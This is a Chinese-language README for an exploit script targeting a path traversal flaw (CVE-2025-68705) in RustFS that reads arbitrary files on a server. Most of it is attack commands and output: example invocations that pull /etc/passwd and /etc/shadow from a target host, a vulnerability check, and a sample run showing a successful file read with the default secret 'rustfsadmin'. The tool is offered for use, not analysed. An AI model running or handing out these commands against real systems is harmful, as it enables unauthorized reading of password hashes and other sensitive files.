CVE-2025-68705 - RustFS 路径遍历漏洞利用工具
描述
该脚本利用了 RustFS 中的一个路径遍历漏洞(CVE-2025-68705),可允许读取服务器上的任意文件。
环境要求
- Python 3.6+
- 依赖项见
requirements.txt
安装
git clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt
使用方法
python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]
必需参数
| 参数 | 说明 |
|---|
-H, --host | 目标主机 IP 或主机名 |
-p, --port | 目标端口号 |
-f, --file | 要读取的文件路径(配合 --check-only 时可省略) |
可选参数
示例
读取 /etc/passwd 文件
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd
使用自定义偏移量和长度读取 /etc/shadow
python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024
使用自定义密钥
python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret
仅检查目标是否存在漏洞
python exp.py -H 192.168.1.128 -p 9000 --check-only
读取文件的指定范围
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200
输出示例
python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!
[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp
许可证
本项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。
参考